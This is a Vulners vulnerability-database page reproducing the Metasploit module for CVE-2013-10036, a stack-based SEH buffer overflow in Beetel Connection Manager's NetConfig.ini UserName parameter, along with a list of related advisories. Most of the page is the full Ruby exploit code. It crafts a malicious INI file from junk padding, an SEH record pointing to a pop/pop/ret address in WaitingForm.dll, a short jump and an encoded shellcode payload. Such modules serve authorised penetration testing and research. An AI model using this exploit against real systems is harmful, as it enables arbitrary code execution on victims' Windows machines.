Lucene search
+L

Beetel Connection Manager NetConfig.ini Buffer Overflow

🗓️ 12 Oct 2013 00:00:00Reported by metacom, wvu <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 21 Views

This module exploits a stack-based buffer overflow in Beetel Connection Manager by exploiting the parsing of the UserName parameter in the NetConfig.ini file. Successfully tested on PCW_BTLINDV1.0.0B04 on Windows XP SP3 and Windows 7 SP1

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2013-10036
29 May 201815:50
circl
cnnvd
CNNVD
Beetel Connection Manager 安全漏洞
31 Jul 202500:00
cnnvd
cve
CVE
CVE-2013-10036
31 Jul 202514:53
cve
cvelist
Cvelist
CVE-2013-10036 Beetel Connection Manager NetConfig.ini Stack-Based Buffer Overflow
31 Jul 202514:53
cvelist
euvd
EUVD
EUVD-2013-7259
7 Oct 202500:30
euvd
nvd
NVD
CVE-2013-10036
31 Jul 202515:15
nvd
ptsecurity
Positive Technologies
PT-2025-31534 · Undefined · Undefined
31 Jul 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2013-10036
2 Aug 202520:22
redhatcve
vulnrichment
Vulnrichment
CVE-2013-10036 Beetel Connection Manager NetConfig.ini Stack-Based Buffer Overflow
31 Jul 202514:53
vulnrichment
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Beetel Connection Manager NetConfig.ini Buffer Overflow",
        'Description' => %q{
          This module exploits a stack-based buffer overflow in Beetel Connection
          Manager. The vulnerability exists in the parsing of the UserName
          parameter in the NetConfig.ini file.

          The module has been tested successfully against version
          PCW_BTLINDV1.0.0B04 on Windows XP SP3 and Windows 7 SP1.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          "metacom", # Vuln/PoC
          "wvu" # Metasploit
        ],
        'References' => [
          ['CVE', '2013-10036'],
          ["OSVDB", "98714"],
          ["EDB", "28969"]
        ],
        'Payload' => {
          "Space" => 1504,
          "BadChars" => "\x00\x09\x0a\x0b\x0c\x0d\x20",
          "DisableNops" => true
        },
        'Platform' => "win",
        'Targets' => [
          [
            "PCW_BTLINDV1.0.0B04 (WinXP SP3, Win7 SP1)", {
              "Offset" => 468,
              "Ret" => 0x0105e2f6 # p/p/r (WaitingForm.dll 1.0.0.0)
            }
          ]
        ],
        'Privileged' => false,
        'DisclosureDate' => "2013-10-12",
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options([
      OptString.new("FILENAME", [true, "INI file", "NetConfig.ini"]),
      OptString.new("SECTION", [true, "Section name", "Edit Me"])
    ])
  end

  def exploit
    section = datastore["SECTION"]

    sploit = "[#{section}]\r\nUserName=#{shell_popper}"

    file_create(sploit)
  end

  def shell_popper
    junk = rand_text(target["Offset"])
    seh = generate_seh_record(target.ret)
    jump = Rex::Arch::X86.jmp_short(66)
    padding = rand_text(66) # Pad past buffer corruption

    junk + seh + jump + padding + payload.encoded
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation